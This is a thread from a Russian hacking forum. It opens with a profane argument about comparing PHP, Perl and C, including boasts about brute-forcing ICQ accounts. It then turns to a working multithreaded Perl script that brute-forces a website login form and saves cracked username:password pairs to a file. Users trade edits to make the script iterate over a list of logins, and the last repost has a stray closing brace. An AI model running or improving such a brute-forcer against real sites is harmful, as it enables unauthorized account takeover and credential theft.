синтаксис пшп и перла в чём то очень схожи сказывается наследственность си кстати в перле нулбайт тоже является концом строки)
тогда объясни в чём они разные) я какбэ на этих языках программирую и читаю книжку, а не статьи у меня диплом, а у тебя алгебра http://forum.antichat.ru/thread120596.html (и тут ты хочешь отписать, что это брату, это не мне))
ебана, моторная лодка и поезд - средства передвижения, так схуяли же их не сравнить? php и си - совершенно разные вещи, хотя бы брать в расчет то, что одно интерпретируемое, а другое - компилируемое ПыСы:не-а, даже пытаться не буду отмазываться, это было мне
и что? ты процитировал мои слова, дальше что? где характеристика? чё ты тут пытаешься поспорить о том, в чём не разбираешься?
Опяяять.... Не веришь мне - спроси любого другого участника форума, может тогда в твою маленькую головуюпридет мылсь, что нельзя сравнивать пых и си. НЕЛЬЗЯ
чё ты на других косишь?) за себя отвечай. ты представления не имеешь о языках программирования, эксперт или все считают, что ты набрутил асек, сделал фейк (2 строки кода) и ты очень крут?)
сейчас я тебе, как у тебя на уроках поясню. с темы никто не соскакивал. я тебя спросил про различия. ты начал приводить нелепые какие-то метафоры с лодками, транпортными средствами. после начал орать, что НЕЛЬЗЯ. потом решил скосить на других :"спроси любого другого участника форума". Всем этим ты подчёркиваешь лишь то, что НИКАК не разбираешься в теме, тебе нечего ответить на вопрос. Но. Всунуться ты всунулся. Ты думал, что твои плюсики и статус псевдо-эскперта == "авторитетное" мнение. ты ошибаешься. авторитетным мнением тут даже не пахнет. все твои "авторитеты" сводятся к написанию 4х элементарных строк кода и к нажатию на кнопочки брутера.. с такими знаниями, в таких темах тебе ловить нечего. читай молча или читай книги.
Если ты не понимаешь метафоры, то это никак не моя вина. Да, пых и си НЕЛЬЯЗ сравнивать, я орал, ору и буду об этом орать. насчет других участников - если ты не веришь мне, на что твое право, то, может, ты поверишь другим. в теме скорее ты никак не разбираешься, угу. Мои плюсики лично для меня ничего не значит и я еще нигде и никогда не хвалился ими, а знаний у меня предостаточно как минимум для напсиания "четырех элементарных строк кода", которые, имхо, ты написать и не сможешь. Так что читать молча будешь ты, а не я. Оке?
Т-34 ,ты не понимаешь о чем говоришь.На си в основном пишут десктопные приложения(за редким исключением).php предназначен совершенно для другого.Это равносильно сравнению гондонов и противозачаточных таблеток.И то и другое-контрацептивы,но таблетку ты на хер не оденешь. Тема бессмысленна . Т-34 в бан.
интерпритатор - это один из видов компилятора И интерпритатор так же компилирует перл-код в код двоичный и выполняет его на лету Из перлового скрипта можно и exe сделать, импортировав туда все либы. И что ты тогда скажешь?)
Я лишь процитировал слова того умника Ну вот спайдер, ты же вроде умный, аж в МОА Вот разве можно сравнивать пых и си?)
Помогите переделать скрипт под список логинов, а то у меня ничего не получается! Code: #!/usr/bin/perl use strict; use LWP::UserAgent; use HTTP::Cookies; use Getopt::Std; use threads; print "\n Starting brute...\n"; open (FP , '<pass.txt') || die ("No password list! \n"); # Пароли в pass.txt my @pass = <FP>; close FP; my $login_username = 'login'; # ЛОГИН! my $i=0; my @thr; my $ua = LWP::UserAgent->new; my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)'); $ua->cookie_jar($cookies); for (@pass) { my $nowpass = $_; chomp @pass; if($thr[$i]) {threads->object($thr[$i]->tid())->join;} $thr[$i]=threads->create(\&brute,$login_username,$nowpass); $i=($i+1) % 5; #Количество потоков (5) } foreach(threads->list) { $_->join; } sub brute() { $ua->cookie_jar($cookies); my $req = $ua->post('http://*.php', { 'st.posted'=>'set', 'username'=>$_[0], 'password'=>$_[1], 'login'=>'%C2%F5%EE%E4' })->as_string; my $result = $req =~/302 Found/; if ($result) { print "[+]OK $_[0]:$_[1]\n"; open (G , '>>good.txt'); print G $_[0].":".$_[1]."\n"; close G; print "PASSWORD FOUND!!!!!\n"; } else { open (G , '>>bad.txt'); print G $login_username."\n"; close G; print "[-] BAD $_[1]\n"; }}
yaoleg, так попробуйте заюзать Code: open my $FL, '<', 'login.txt' or die "No login list: $!\n"; # Логины в login.txt open my $FP, '<'. 'pass.txt' or die "No password list: $! \n"; # Пароли в pass.txt my @login = <$FL>; my @pass = <$FP>; close $FP; close $FL; #my $login_username = 'login'; # ЛОГИН! foreach my $login_username (@login) { chomp $login_username; my $i = 0; my @thr; my $ua = LWP::UserAgent->new; my $cookies = HTTP::Cookies->new (agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)'); $ua->cookie_jar ($cookies); for my $nowpass (@pass) { chomp $nowpass; if ($thr[$i]) { threads->object ($thr[$i]->tid())->join; } $thr[$i] = threads->create (\&brute, $login_username, $nowpass); $i = ($i + 1) % 5; #Количество потоков (5) } }
Извините, но у меня не работает! Что делаю не так? Code: #!/usr/bin/perl use strict; use LWP::UserAgent; use HTTP::Cookies; use Getopt::Std; use threads; print "\n Starting brute...\n"; open my $FL, '<', 'login.txt' or die "No login list: $!\n"; # Логины в login.txt open my $FP, '<'. 'pass.txt' or die "No password list: $! \n"; # Пароли в pass.txt my @login = <$FL>; my @pass = <$FP>; close $FP; close $FL; #my $login_username = 'login'; # ЛОГИН! foreach my $login_username (@login) { chomp $login_username; my $i = 0; my @thr; my $ua = LWP::UserAgent->new; my $cookies = HTTP::Cookies->new (agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)'); $ua->cookie_jar ($cookies); for my $nowpass (@pass) { chomp $nowpass; if ($thr[$i]) { threads->object ($thr[$i]->tid())->join; } $thr[$i] = threads->create (\&brute, $login_username, $nowpass); $i = ($i + 1) % 5; #Количество потоков (5) } } } foreach(threads->list) { $_->join; } sub brute() { $ua->cookie_jar($cookies); my $req = $ua->post('http://*.php', { 'st.posted'=>'set', 'username'=>$_[0], 'password'=>$_[1], 'login'=>'%C2%F5%EE%E4' })->as_string; my $result = $req =~/302 Found/; if ($result) { print "[+]OK $_[0]:$_[1]\n"; open (G , '>>good.txt'); print G $_[0].":".$_[1]."\n"; close G; print "PASSWORD FOUND!!!!!\n"; } else { open (G , '>>bad.txt'); print G $login_username."\n"; close G; print "[-] BAD $_[1]\n"; }}
